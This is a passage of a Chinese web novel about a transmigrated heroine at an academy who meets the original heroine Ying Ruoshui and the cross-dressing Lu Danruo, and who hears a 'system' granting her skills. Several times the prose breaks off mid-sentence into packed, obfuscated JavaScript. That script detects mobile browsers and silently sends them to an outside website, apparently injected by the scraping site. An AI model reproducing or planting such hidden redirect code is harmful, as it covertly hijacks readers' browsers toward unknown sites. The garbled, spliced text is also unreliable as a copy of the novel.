接近集贤堂时，云曜听到了一阵吵闹兴奋声。 “……好脚法！” “你大爷的，还敢从你姑奶奶这边过路，我看你是吃了熊心豹子胆。” “哇哇哇，进了进了！” 吵吵嚷嚷的，在静谧的书院里显得格外突兀。 “那边，是内门的，小女君们，”矮壮护院慢吞吞道，“在踢蹴鞠。” 隔着一道低矮的石墙，云曜隐约能看到墙后是一块尘土纷飞的土地，人头攒动。 她很快便明白了这块地方的定位。 嗯。 是操场。 以现代人的眼光来看，操场坐落在办公楼跟教学楼旁边，倒也是很正常。 “沈女君，请进。” 护院走上台阶，转身对云曜歉意说：“抱歉，云小女君，还请你，在门外等候。” 沈令仪开口：“徒儿，你且在周围消磨一下，我跟山长谈谈就来。” 听起来是要商量一些正事。 云曜颔首，道一声“好”，应了下来。 她百无聊赖地在四周踱步，目光聚焦在石板路缝隙间辛苦工作的蚂蚁身上。 忽然微微出神。 不知道，这群蚂蚁跟自己，谁的命更长一些？ 想到这里，一阵愁绪漫上云曜心头。 唉。 愁啊，愁。 自己现在只有一百日寿命好活了，接下来，一定得在书院勤恳用功，才能想办法在郡试上—— “糟糕，若水她又踢出去了！” 忽然间，石墙内的惊叫声此起彼伏。 砰！ 几乎是同一时间，云曜感受到头顶一阵劲风，所幸她反应很快，下意识躲避开来。 下个瞬间—— 只见一个裹满尘土的蹴鞠越过石墙，直直落在她身旁的地上，把附近的花草砸得东倒西歪。 惊险避开的云曜松了一口气，目光落在蹴鞠上。 “咦，这就是古代的足球么。” 她俯下身子，饶有兴致地观察了一下大曌朝的蹴鞠：乍看上去，跟现代的足球很像。 不过，跟足球不一样的是，这蹴鞠通体赭色，并非黑白交错，像是由某种动物的皮革鞣制而成。 又过一会儿，不远处传来急促的脚步声。 “惭愧惭愧，这位娘子，实在是失礼了！” 一个皮肤有些黝黑的高大少女急速奔来。 她的发髻利落地扎在头顶，因为踢球而有些凌乱，眼睛却十分明亮有朝气。 这让她看上去，像极了一头蓄势待发的母狮。 “……咦？你是？” 在跟云曜视线相接时，她愣了一下。 滴！ 【[顶级白月光]技能已发动。】 【我要告知宿主的是，你眼前这个人身份很不一般。】 【因为她是——原书女主。】 * 系统音在耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟在这种凤傲天身边，还愁自己未来没有肉吃没有汤喝么。再直白点说，主角身边的亲友团，哪有不一起飞升的？ “啊……” 嬴若水奇怪地怔愣了一下，似是没想到云曜会这样跟她套近乎。 但很快，她便欣喜应下。 “女君——不，小曜你何必自降身段？能跟你这样的神仙人物称姐道妹，我才是赚了，”她把胸脯拍得震天作响，“既然如此，我今天就做一回东，今晚在西苑给你开个迎新宴……” 话音未落，石墙内传来几声不满的叫喊。 “赢——若——水——” “还没找到蹴鞠么？再等，月亮就要出来了。” 听到同伴们的呼唤，嬴若水一拍脑门，拾起脚边的蹴鞠。 “糟了，这场还没踢完！” 她一回身，便往石墙内跑，身上的短打劲装被风鼓起，猎猎作响。 夕阳远挂，落日熔金，为少年人的身形轮廓镀上一层金光，连发丝都像是碎金做成。 云曜目视着嬴若水跑开，心中莫名升起一个念头。 不愧是女主，真是好有生命力的存在。 这样一看，更像一头威风凛凛的母狮了。 而这头小狮子想到了什么，半路转头对她招手，兴奋高喊。 “姐妹今晚一定要赏面来啊！” “记住，是西苑！” 15. [锁] [此章节已锁] 没过一会儿，嬴若水便不见了踪影。 等她离开后，周围瞬间变得空旷萧瑟起来，仿佛她一个人便带走了这边的活跃能量。 夕阳西下，风静树止。 “系统，我这是不是算勾搭上原书女主了？”云曜回想起刚刚的对话，自心中涌起一股兴奋跟自豪，“没想到她这么好相处。” 完全看不出，嬴若水这样的女子，竟会是一个从盛京来的官N代。 【宿主，你……算了。】 系统往常毫无波澜的电子音，这次竟罕见地有些纠结犹豫起来。 云曜：“嗯？” 还没等她追问怎么一回事，聚贤堂内忽然走出了一个人影。 ——是沈令仪。 不知为何，她看上去面色有些沉重，眉头紧蹙，似是陷入了深深的思考之中。 笃、笃、笃。 这位鬓角发白的老人从台阶上缓步走下来，每一步都迤出重重的声响，以往挺拔健朗的身形，竟显得有些佝偻。 她甚至没有注意到，云曜就站在旁边。 “师尊！我在这里。” 云曜跟沈令仪招手，尝试引起她的注意。 “……噢，噢噢。” 沈令仪回过神来，发现云曜在旁边后，她面色恢复如常，紧锁的眉头舒展开一些：“徒儿，你在这里等的久了吧，肚子饿不饿？” 云曜摇摇头：“没事的，我不饿。而且刚刚还有人邀请我参加晚上的迎新宴。” “宴会？”沈令仪面露惊讶之色。 想到嬴若水，云曜嘴角上扬，自信开口：“而且如果我猜的没错，邀请我的那人应当就是师尊口中的旧友之孙。” 闻言，沈令仪更惊讶了。 “什么？”她双目圆睁，“你是说，你见到了小若？” 小若……？ 说的应当就是嬴若水吧。 云曜心中更加笃定，她伸手，指了指石墙：“没错，她现在正在石墙那边跟人踢蹴鞠呢。” “……蹴鞠？！” 沈令仪大惊，就像是看到了什么外星人一般：“小若跟女子一起踢蹴鞠？” 云曜点头，自然而然道：“是啊，师尊。在我看来，她可不像你说的那样不好接近。” “！？” 也许是她面上的表情十分坚定，沈令仪震惊片刻后，由讶异变得将信将疑。 “我有许多年没见这孩子，性情大变也是有可能的，”沈令仪低声嘀咕，似是仍有些费解，“算了，这样正好。” 几息之后，她整理好思绪，抬起头。 目光沉沉望向云曜。 “曜儿，既然如此，为师要拜托你一件事。” 云曜还是第一次见到沈令仪露出如此严肃的表情，连忙应下：“师尊但说无妨。” 沈令仪眼神暗了暗，沉声开口。 “盛京那边，突然有急事要我去处理。” 急事？ 什么样的急事？ 还没等云曜询问，沈令仪又补充：“不用担心，你且在此地安心读书，顺利的话，我约莫年前就能回来。” 她语气宽慰，却斩钉截铁，听上去没有转圜余地。 半晌，云曜只能先点头。 “徒儿知晓。” “唉，小若这里我实在放心不下，既然你方才说，”沈令仪顿了顿，“小若他愿意亲近你，那在我离开的这段时间里……” “你能不能代替我，照顾一下他？” 没想到沈令仪会说出这样的话，云曜有些纳罕：嬴若水可是正儿八经的原书女主、天命之子。怎么还需要她来照顾？ 虽然丈二和尚摸不着头脑，但她还是点头应下。 “师尊放心，她的事，就交给徒儿吧！” 云曜爽快道，自信满满。 * 一炷香时间后。 “云女君，就是，这里了。” 先前见过的矮壮护院帮忙提着云曜的行李和箱箧，在一处僻静的院落前停下。 此地位于艮山学宫西侧，在一路上跟护院的对话中，云曜了解到，这里居住的都是内门学子，大多是三人占一整间院子，学生们日常生活起居皆在此处。 用现代人的眼光来看，这种“学生宿舍”，完全是奢华过了头—— 每间院子仅占地就有300平米左右，轩敞宽阔，比前世的许多别墅还漂亮，院内房屋飞檐斗拱，屋外奇花异草争相绽放。 不愧是古代位于鄙视链顶端的读书人。 待遇居然这么好。 “女君，还有一些，行李。等会儿，我再拿过来。” 既已到达目的地，那名矮壮护院沉默行了个礼，转身便欲离开。 “这位护院娘子，先等一下。” 此时，云曜叫住了她。 护院停下脚步，古井无波的眼神望向云曜，沉默地等待她开口。 “这一路实在是多谢你了，请问娘子叫什么名字？”云曜温声问。 艮山学宫不让学生的侍从小厮一同陪读，她一路上也没看到其他侍仆的身影。想来以后读书的各项杂事，少不了要跟这位护院打交道。 自己接下来要在书院长住，没有沈令仪跟家人在身旁，她相当于是孑然一人，得跟周围人打好关系才行。 听到云曜的询问，护院一愣。 那张憨厚正直的面容上，罕见地出现了一丝波动。她像是有些局促，但还是低声开口。 “我叫……郭，子越。” 云曜熟稔地点点头：“噢噢，原来是子越娘子。以后还要多麻烦你了。” “不，不麻烦！” 自见面以来，这名护院第一次有了大幅度的动作，甚至还提高了声调。 意识到自己有些反应过度，她又郑重跟云曜拱了拱手。 面色变得柔和许多。 “在这里，还是第一次，有女君，问我名字。” 她沉声说：“云女君，请早些歇息，路上，很累。我再去，拿行李。” 说完后，她转身便离开。 云曜还没来得及跟她再道声谢，就见郭子越已脚步轻快地走出了院落。 这时，耳边突然响起了系统的声音：【啧啧啧，宿主。】 “怎么了？” 【你可真是招女人喜欢，收买人心有一套的。】 “什么收买人心？人不为己天诛地灭，”云曜抗议，“还有，这是同性相惜，女人是我的贵人，你懂不懂？” 毕竟，自从穿越以来，帮助她的贵人，全都是女性。 所以，对女人好一点怎么了？ 对别的女人好，就是对她自己好。 系统很快被她说服。 【……好像也是。很有道理噢。】 “不用怀疑，去掉‘好像’。就是我说的这样。” 跟系统争辩成功后，云曜目光转向院内屋子的大门，思忖片刻。 这里是嬴若水的住处，不过，她现在应当还在踢蹴鞠吧？ 既然如此，自己直接推门进去就好。 云曜单手提起一只箱箧，一边想着，一边伸出手。 出乎她意料的是…… 还没等她触及门扉，这道榉木雕花双排门，居然自己从内部打开了。 “——何人在此处吵嚷？” 奇特的腔调，带着一丝古朴风流，韵味绵长。 是盛京官话。 紧接着，有一双修长洁白、骨节分明的手垂在门框上。 云曜登时愣在原地，抬眸望向这双手的主人。 此时此刻，站在她眼前的，竟是一位…… 完全陌生、雌雄莫辩的少年人。 * 对方面容姣好，鼻梁高挺，凤眼狭长，肤色格外白皙细腻，只是嘴角紧抿向下，看上去是一副清冷不近人情的模样。 时值深秋，晚风送来凉意。 这人似乎格外怕冷，脖子上已经围了厚厚的兔绒围脖，看上去毛茸茸的。 望着对方倨傲的神情，她心中忽然升起一股不祥的预感。 “……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313815|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁？”云曜问。 这里不应该是嬴若水的住处么？ 对方从鼻腔里嗤笑一声：“我是谁？我才想问你。已是下学时分，还在别人的门前吵吵嚷嚷，成何体统？” 听着这口流利的盛京腔，云曜额上冷汗“唰”的一声流了下来。 糟糕。 这人的官话，听上去居然比沈令仪还要标准几分。 “你该不会是……小若吧。”她艰难开口。 没想到，听到这个称呼，对方脸色大变，像是被踩了尾巴的猫。 “谁、谁允许你这么叫我的？你这个、你这个登徒子、泼皮女！” 这人胸口剧烈起伏，润白的面容一下子被粉色侵染，连脖颈都染上了淡淡的粉。 像是听到了什么世上最为不堪入目的话语。 云曜：“……？” 完全不明白生气的点在哪里。 别人还叫她“小曜”“曜儿”呢。人的名字又没什么特殊含义。 但不管云曜怎么想，对方显然已经被这声“小若”气得浑身直颤，手上青筋鼓起。 “请、你、离、开，”每个字都咬牙切齿，“慢走，不送！” 下一刻，这人一用力便要关上门—— “慢着，是沈令仪沈女君让我来……” 云曜一惊，连忙向前一步，伸手去拦。 只是，她忘了自己手上还拿着行李箱箧，一甩手，有分量的箱子便甩到了对方身前。 “……唔！？” 那人被云曜手中的箱子一打，身形摇晃，踉跄后退。 然而，脚步倒退间，却不小心踩到身后的门槛，整个人直直往后倒去。 “哇啊啊啊——” 栽到前，那人面色惊恐，修长洁白的手在空中胡乱抓，正好如救命稻草般死死抓住了…… 云曜的衣襟。 骤然感受到外力的云曜：“？？？” 不是，怎么一回事？自家绸缎庄衣服的质量居然这么好吗？ 一切都发生在几息之间。 没等云曜回过神来，她已经被那人带得向前一栽，跟随着扑倒在地。 扑通，扑通—— 接连几声沉闷的声响。 箱箧被惯性甩到远处，云曜身在上位，早在倒下的一瞬间便凭本能找到了不会受伤的体位。 她牢牢压着对方的双手，膝盖抵在对方□□，马尾垂在肩侧。 鼻尖靠着鼻尖，视线直直相对。 呼吸几乎交缠。 感受着手下温热的肌肤触感，云曜耳边突然传来系统提示音。 滴！ 【新的人际网络[盛京陆氏]已解锁。】 【陆丹若：时年十五，陆氏独男，自幼饱读诗书，为人清高倨傲。男扮女装前往艮山学宫求学，贞洁意识强，不愿与女子交流。】 【您已获得了[盛京陆氏]相关社交信息。】 云曜：“！” 陆丹若：“！！” 被她压在身下的男人骤然眼眶一红，薄雾般的泪水涌上来，眸中水光潋滟。 “呜呜呜……娘亲，爹爹……” 陆丹若无助地开口，再无先前的盛气凌人。 他面色惨白，紧咬下唇，不堪忍受般转过头，紧紧闭上双眼。衣衫凌乱，脖颈上的兔绒围脖因动作散开，露出了男子本不应展露于陌生女子前的喉结。 “呜……” 男人扇子一样浓密的眼睫微颤，沾上了泪珠，泫然欲泣，将落不落。 喉结一滚一滚。 紧绷的下颌线紧致流畅，在窗外夕阳的照耀下，勾勒出少男楚楚可怜的弧度。 每个动作都美得像是一幅画。 然而，云曜此刻却顾不上欣赏美男。 她只觉脑壳嗡嗡，百口莫辩：“不不不，等一下等一下，我是我师尊叫来的，我不是——” 这位大哥，先别哭了。 明明她才是受害的一方吧！ 自己的衣襟，可还被他紧紧地抓在手心里啊！ 16. 第 16 章 要命的是，此刻云曜为了起身，还需要借力于膝盖。 行动间，不免又碰到了男子的脆弱之处。 “唔……！” 陆丹若自眼角滑下一滴清泪。 他终于松开了对云曜衣襟的钳制，无力地抬起手臂，用宽阔的袍袖遮住双眼，似是不愿面对眼前的现实。 见状，云曜嘴角抽搐：“……” 她对天发誓，自己绝不是故意的。 谁让这人刚才一直把她的衣襟拽得那么紧？想要从他身上起来都是一件难事。 “呜呜呜，娘亲，爹爹——” 少男还在低声呜咽。 听着耳边不住传来的幽怨啜泣声，云曜不知该说些什么。 珠圆、玉润、许七九，再加上这个陆丹若。 怎么总是有男人在自己面前哭？ 她做了几下深呼吸，干脆忽略耳畔杂音，直接质问系统。 “系统，你为什么不早点告诉我，师尊口中的‘官N代’是会是他？” 系统很快给了她回答。 【经过数据库评估推算，此事无伤大雅，而且宿主当初十分自信，我没必要打击你。毕竟陆丹若在原书中只是个一闪而过的背景板。】 【但是，我也没想到，事情会变成现在这个样子。】 听到系统幽幽的话语，云曜心中一咯噔。 “什么意思？” 【在大曌朝，除了伎人倡优，良家男子在出嫁前绝不可能被人这样触碰，除非是未来的妻主。】 【尤其像陆丹若这样，男德意识极强的男人，在他看来，自己怕是已经被你夺了身子。】 云曜如闻晴天霹雳。 啊……？夺了身子？ 好小众的文字。 【没错。像陆丹若这样出身良家的少男，自小到大受到的男德教育就是这样的。】 天地良心。 自己只是隔着衣服不小心碰到了他，分明什么都没做！ 系统又继续絮絮叨叨。 【宿主，若是想求娶陆家独男，你恐怕现在就得退学，原路打道回府。光是结婚必备的纳采、问名等六礼，前前后后都要花费数月。】 【也就是说……这不仅会耽误你郡试考取功名，恐怕你还没娶得美骄郎，就已经命绝了。】 听到这里，云曜整个人头皮发麻。 不行，绝对不行……！ 自己的新人生才刚刚起步，怎么能因为一个男人而前功尽弃？ 想到这里，她警惕地左右张望。 所幸此地清静偏僻，并无外人注意到此处发生的情况。 情急之下，云曜心中顿时有了计策。 没有人看到，也就相当于没有发生过。 ——哪怕掩耳盗铃，只要周围无人，掩耳又何妨？ “快起来，你快点起来。” 云曜行动果断，一把抓过旁边散落在地上的兔绒围巾，像给礼物系带一样严严实实地围在陆丹若喉结处。 紧接着，她有些粗暴地拉开他挡在眼前的手臂，用蛮力将他从地上拽起。 “呜……我恨你，我恨你！” 陆丹若露出一双通红的眼睛，死死地盯着云曜。 这时，两人身后的院内，突然传来一阵由远及近的脚步声。 云曜心一惊，僵硬地转头望去。 “啊。云女君，”来人声音低沉，无甚波澜，“我来，送行李。” ——来人是郭子越。 她怀中抱着一大筐金丝党梅，透过竹篾编的筐身，可以看到里面用油纸分成了三十个小袋子。 这是沈令仪离开前交给云曜的东西，希望她能用这个跟“小若”打好关系。 “你——！” 突然间，陆丹若尖叫起来：“对，就是你！” 他对着面带困惑的郭子越大喊大叫，右手食指尖对准云曜，气得嘴唇都在颤抖。 “你快点把这个私闯民宅的泼皮女带走，把她押解到官府去！我要她立刻被投入大牢！” 纵使陆丹若这么激动，郭子越面色也一如既往，古井无波。 她目光缓慢地在陆丹若跟云曜之间打转，没有出声。 “你这个乡巴姥，没听到我在说什么吗？！”陆丹若气得口不择言，“竟敢无视我，你知不知道我阿母是谁？知不知道我是谁？” 没想到，一向寡言的郭子越听到这话，眉梢微抬。 她嘴唇翕动，忽然开了口。 “我也想问。那，敢问陆女君，知不知道，我是谁？” 陆丹若没想到郭子越会问出这个问题，满腔怒气卡在喉咙。 “什么？” 一个粗使下人而已，还有胆子敢问他？ 在他不可思议的注视之下，郭子越慢吞吞地走向前，稳稳地将怀中的金丝党梅竹筐放到云曜脚边。 “给你，云女君。” 云曜点点头。 “谢谢你，子越娘子。” 她心头大石落地：所幸自己来时跟郭子越拉了一波好感，如今，对方很明显是站在自己这边的。 这个事实也让云曜更有底气，当她余光望向陆丹若时，已有了决断。 一个男子而已，竟如此嚣张跋扈？ 那也别怪她等会儿不留情面了。 “没，关系的。” 郭子越唇角微扬——她不擅长做面部表情，嘴角上扬的弧度大约只有1°——接下来，她对着云曜行了行礼，完全无视陆丹若，便转身离开了。 目睹了全程的陆丹若，目瞪口呆。 “乡巴姥，一群乡巴姥……” 他很快回过神来，气得眼圈更加泛红，连凤眸眼尾都染上一抹艳色。 “你们敢这么欺负我，好，你等着，我这就……” 还没等他说完，变故陡生。 下一刻，他忽然被冷着脸的云曜一把捂住嘴。 推倒在了附近的墙上。 “——！” * 陆丹若满脸惊恐，愣愣地盯着云曜，眼泪也被吓了回去。 “你给我闭嘴。” 寒冷彻骨的声音，在他耳边响起。 陆丹若顾不上背脊后传来的疼痛，他看着云曜的脸色，大脑只有一个想法。 好可怕。 这个陌生女人好可怕……！ 对养尊处优的陆家小公子来说，他从没被女人这样盯过。 一直以来，那些流连在他身上的视线，向来都是怜爱包容的，带着欣赏恋慕之意，如同春日暖阳，视线中包裹着女子特有的和善温润。 怎么、怎么会像现在这样—— 冷漠，凛若冰霜，又带着怒火充盈的戾气，如遥不见底的深潭一般压在眼底。 这是…… 上位者对下位者的警告。 陆丹若被吓得不敢动弹，心脏却一反常态，砰砰直跳。 自他体内深处，传来一股异样的感觉。 “你给我听着，今天的事情从来都没发生过。我只知你是丹若娘子，别的一概不知，”云曜顿了顿，“听懂了么？听懂就点点头。” 陆丹若眼神涣散，半晌，轻轻点了下头。 “我叫云曜，字玉镜。如无特殊情况，你今后称呼我‘玉镜娘子’就好。” 云曜一字一顿：“我师尊是沈令仪，她托我好好照顾你。自然，我也会如她所愿，好好看护于你。” 听到“沈令仪”三个字，陆丹若眼中闪过不敢置信。 “……听懂了就点点头。还用我重复么？”云曜不耐烦道。 在大曌朝待得久了，她不再像前世一样谨慎小心。 有种日渐解放了天性的感觉。 被云曜的手死死捂住嘴，陆丹若无法出声，只好又点了下头。 “很好，看来我们已经达成一致了，丹若娘子。别再闹什么幺蛾子，这对你我都好。” 云曜说完后，视线在他脸上滑动，从蒙着水光的眼眸，到挺直立体的鼻子，再移动到耳垂上造型别致的琉璃耳珠。 不是男扮女装来求学么，怎么还带着这种东西？ 在前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341486|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世，他的前辈祝英台都知道摘下耳环，这样才能更好地隐藏异性特征。 像陆丹若这样明目张胆带着耳珠，是生怕别人发现不了他的男子身份？ 房间内一时静了下来。 陆丹若不知在想什么，神思不属，眸中水雾也散了不少。 “……嗯。” 云曜松开了捂住他嘴唇的手，又在陆丹若泪眼朦胧的注视下，漫不经心开口。 “依我之见，丹若娘子还是把耳珠摘下来吧。既然学女子读书，那应该知道，女子读书时简约为宜，不必如男儿家一般搞些花里胡哨。” 听她这么说，陆丹若眼圈又泛红了起来。 但这次，他没有如先前一般大喊大叫，而是羞耻似的低下了头。 过了许久。 “……你，当真是远鹤女君的徒儿？” 他低声说，几乎用气音发声。 “是。师尊方才有急事离开，临行前告诉我，一定要好好照顾你。如果你不信，师尊还告诉我，你姥姥名叫陆逍遥，只娶了一位夫郎，生下来的女儿中只有你阿母——” 没等云曜说完，陆丹若已经点了点头，小声说：“……我知道了。” 他吸吸鼻子，揉了揉自己的脸颊，重又抬头，看向云曜。 下定决心似的开口。 “既然你是远鹤女君的徒儿，想来人品、家世都是过关的。虽然听你口音，并非盛京女郎，性格也不似寻常女君温文尔雅，但我、我——” 他眼睛一闭，攥紧拳头，像是给自己鼓气一样张开嘴。 “我愿意嫁给你做夫郎。” 云曜身形僵住，头皮遽然一炸。 ……什么鬼？ 这是怎样令人迷惑的贞洁观——上一秒还在骂她泼皮浪□□，下一秒见她硬件条件还不错，就能想通嫁她做夫郎？ “云曜，云玉镜。日月同辉，心如明镜，当真是个好名字。” 陆丹若微低下头，抿了抿嘴，小声说。 他垂下眼帘，脸颊隐约透着一股粉色：“玉镜娘子，等成了婚，你万万不可再这样对我了。” 云曜：“………” 这人一定是有受虐癖吧，竟然还一脸娇羞？ 自己刚才都那么粗暴地对待他了！ 云曜深吸一口气，脸上表情更加冷漠：“非也。丹若娘子，你我都是女子，何以说出此话？” 陆丹若闻言，一怔。 他看着云曜的眼睛，急切道：“你刚才分明都已知晓我是男子！” “不，我不知道。” 云曜淡漠地摇摇头。 面上虽冷淡，心里已经骂了对方十八代爹爷。 这事绝对不能认。 要是认了，她就要被这个小郎赖上了！ 在陆丹若震惊无比的视线中，她开口提醒：“你忘了我刚才说过什么吗？” “今天的事情，从没有发生过。” 听她这么说，陆丹若蹙起了眉头。 渐渐地，泪水又涌上他眼眶：“你怎么、怎么这样薄情寡义？我都说了，我愿意……” 话还没说完，就被云曜连珠炮一般的提问哽了回去。 “我问你，陆丹若。你来此地求学读书是为何？” “世人赞扬大女子身负家国重任，有志儿郎也向来是须眉不让巾帼。怎么能满脑子都是情情爱爱？” “从盛京特意来到祥符，难道你就是为了跟着女人回去的么？” “我、我……” 突然被云曜一通“家国大义”砸下来，陆丹若讷讷不知如何是好。 见他目光呆滞，云曜深吸一口气，又祭出了最后一个杀招。 ——也是对此地男人而言，最有威胁力的一招。 “这件乌龙事因你而起，但我这名女子心思宽宏，并不愿与你计较。” 云曜打量他一眼，苦口婆心。 “对着刚见面的女人，也能投怀送抱。” “我可是早听闻，你是个守男德的儿郎。难道，这守德……竟然是这样守的？” 17. 第 17 章 是夜，云曜准备前往西苑。 已是秋末，夜晚气温越发寒冷，她在衣袍外加了件素色棉布披帛，围在肩头当做坎肩。 “等等，这样是不是不太好？” 还没迈出门，云曜突然觉得，自己不该空手前去。思忖片刻后，她从郭子越送来的竹筐里拿出几包金丝党梅，准备当做伴手礼。 哗啦啦—— 此时，油纸碰撞的声音，吸引了陆丹若的注意力。 “……？” 从云曜她质问“你真的守男德么？”起，陆丹若就失魂落魄般坐在圆杌上，不发一语。 见云曜准备出门，他才回过神来。 “你要去哪里？” 陆丹若急急从圆杌上站起来，眼眸依然湿润，沾着清凌凌的水光。 有点像是一只怕被她抛弃的小狗。 但小狗只会可爱地“汪汪”叫。 不像狗男人还会讲人话，让人头痛。 云曜不愿解释许多，看了他一眼，随意从怀中取出一包金丝党梅扔给他。 “喏，给你。” ——确实是给他的。 反正这些蜜饯，本来也全都是沈令仪买给陆丹若的。 说完，便趁陆丹若怔愣时，脚下抹油，匆匆离开了。 待云曜走后。 陆丹若打开手中的油纸，闻到一股过分甜腻的扑鼻香气。 他不自觉愣神。 “这是……” 养尊处优的小公子，打小吃的都是自家厨子做的精致糕点，什么细如龙须的龙须酥、工序繁复的红绫饼等等，因而对甜食格外挑口。 就算真想吃蜜饯甜果，也都是现摘的新鲜水果腌渍而成。 绝不会像眼前这包金丝党梅一样，散发出如此廉价的气息。 但这一刻，陆丹若吸了吸鼻子，竟从蜜饯冷腻的甜味中，感受到了一股隐晦的欣喜。 ……她心里有他！ 如果不是在意他，怎么会特意给他爱吃的甜食呢？ “虽是粗糙了些，却也能入口。” 陆丹若望着这包油纸蜜饯，忽然又想到，闺房儿郎们私下里传的话本子里都是这样写的： 书生与儿郎情愫暗生，却碍于女人的面子，没办法正大光明地宠爱儿郎。 但在一处处微不可察的小细节中，却能窥见那一抹隐藏在大女子外表下的温柔情谊。 ——就像现在这样。 乍看是冷漠跟粗暴，但是…… 只要用心去品，就能感受到来自女人的特殊对待。 想到这里，突然间，云曜先前种种行为给他带来的委屈，全都如同飞鸟在空中留下的痕迹一般，迅速消失不见了。 甚至，她的身影，还开始跟话本上让陆丹若痴迷过的女君模样重合。 “……锦绣前程非所愿，唯愿与卿共华发。” 他轻声念了句话本里书生对情郎吟过的诗——故事里，书生刚在众人面前嘲讽过情郎，但转头，她便在私下里与儿郎相见，用这句诗对儿郎表了心意。 那么，云曜她…… 是怎么想的？ 思及此，陆丹若微垂眼帘，将蜜饯送入口中。 甜味在口腔弥散开来，竟让他一瞬间想通了许多关窍。 “是了，是了。” 他眉头舒展，眸子一亮。 “如果不是我在那仆从面前高声呵斥，驳了玉镜娘子的面子，她怎会突然脸色大变？” 在家里，爹爹也曾告诉他：男子偶尔骄纵也就算了，但如果真是自己做错，也不能总是仗着儿郎身份，消磨妻主的好意。 毕竟，女人的面子比天大。 儿郎的脸，豁出去丢一丢也就算了；女人可是家中的顶梁柱、擎天石，怎能颜面扫地？ 陆丹若越思考，越觉得自己想得对，心脏砰砰跳起来。 “玉镜娘子方才那样对我，果然是有原因的。” 他无意识攥了攥拳，清冽凤眸中盛满了决心。 “……好。” “待她回来，我一定要好好跟她道歉才行！” * “阿嚏——！” 路上，云曜无端打了个喷嚏。 “天气这么冷？”她揉了揉鼻头，咕哝道，“还是说，有人在背后念叨我呢。” 【宿主，刚才你的[顶级白月光]特征突然发动了。】 “啊？” 云曜连忙左右张望，然而，此处偏僻幽静，并未看到人影。 【本项特征来自某位之前已见过面的人，但由于时间过短，无法追溯到源头。】 “嗯？”已见过面的人？ 根据[顶级白月光]的描述，这项特征，应当是只会作用于初次见面的人才对。 不过她也知道，自己身上这项[顶级白月光]从最初获得起，就跟其他拥有两项效果的特征不一样，只拥有一项特征效果。 莫非…… 是要有新效果了？ 正如云曜猜想的那样，她耳畔传来一声电子提示音。 滴！ 【[顶级白月光]特征效果2已解锁。】 【特征效果2.挥之不去： 白月光总是那样朦胧，令人遐想。当别人在脑海中想到你时，更容易对你进行记忆美化。（补充：该效果受对方想象力影响有较大波动。）】 记忆美化，也就是脑补。 这是什么万人迷必备技能？ “是不是对方脑补能力越强时，越容易发作？”云曜问。 【是的，可以这样理解。】 “阿嚏——！阿嚏！” 不知为何，听到这个答案后，云曜又接连打了好几个喷嚏。 “天气怎么转凉得这么快？” 她随口嘟囔了句，没放在心上。 * 不知不觉间，云曜已经顺着小路来到了西苑。 只见此地三座凉亭红瓦飞檐，由石板路相接，围在湖边——西苑中央有一片小型湖，如今，平如镜面的湖水倒映出天上的下弦月，别有一番诗意。 “谁让你也带肉菜来的？不是说好了让若水带么。” 凉亭中不断传来跟白天如出一辙的吵嚷声，打破了此处的静谧。 “可惜，可惜。再多拿点小菜就更好了。” “嘘，你们别声张，我悄悄从酒坊打了点米酒。” “明天再攒个局呗？” 各种声音碰撞在一起，明明各说各的，却诡异地十分和谐。 云曜：“……” 不用想，这肯定是所谓的“迎新宴”。 视线所及之处，凉亭中人影晃动，能看出来都是年轻女郎，只是人数并不多，满打满算也只有十指之数。 “哎呀，那是不是云曜？云小娘子——！” 这时，有个熟悉的身影自凉亭内向外张望，发现了云曜。 此人正是嬴若水。 没等云曜回应，嬴若水已经急吼吼地从凉亭内跑出来，一边跑还一边对着她喊。 “快来，小曜，正要把你引荐给其他几位同门呢。” 云曜：“我……” 还没说完，她就在嬴若水一声声热情的催促下，跟随着她往离二人最近的凉亭里走。 “有什么话等会儿再说，快过来呀。” 此时，凉亭内三三两两坐着几个年轻女郎，正在闲谈。 中间的小型圆石桌上摆着吃食跟杯盏，正中央是个硕大的猪头肉，在月光下泛着莹润的光泽。 嬴若水站在她们面前，拍了拍手。 啪—— 等吸引了她们的注意力后，嬴若水指着满脸懵圈的云曜，对着众人说： “这就是我新认识的好姐妹，云曜，云玉镜。” “她跟着师尊千里迢迢从盛京赶来的，今天起在学宫读书，大家可一定要多帮衬她啊！” 闻言，女郎们都友善地笑了起来。 齐声说了个“好”。 云曜：“我……” 等一下，她不是千里迢迢从盛京赶来的。 没等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 